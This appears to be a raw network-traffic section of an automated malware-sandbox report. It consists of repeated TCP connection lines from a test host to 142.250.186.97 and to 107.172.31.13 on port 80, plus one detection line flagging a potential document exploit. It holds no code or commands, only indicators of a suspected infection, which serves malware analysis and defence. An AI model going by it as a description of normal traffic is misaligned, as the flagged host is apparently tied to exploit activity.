Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.31.13:80 -> 192.168.2.22:49165
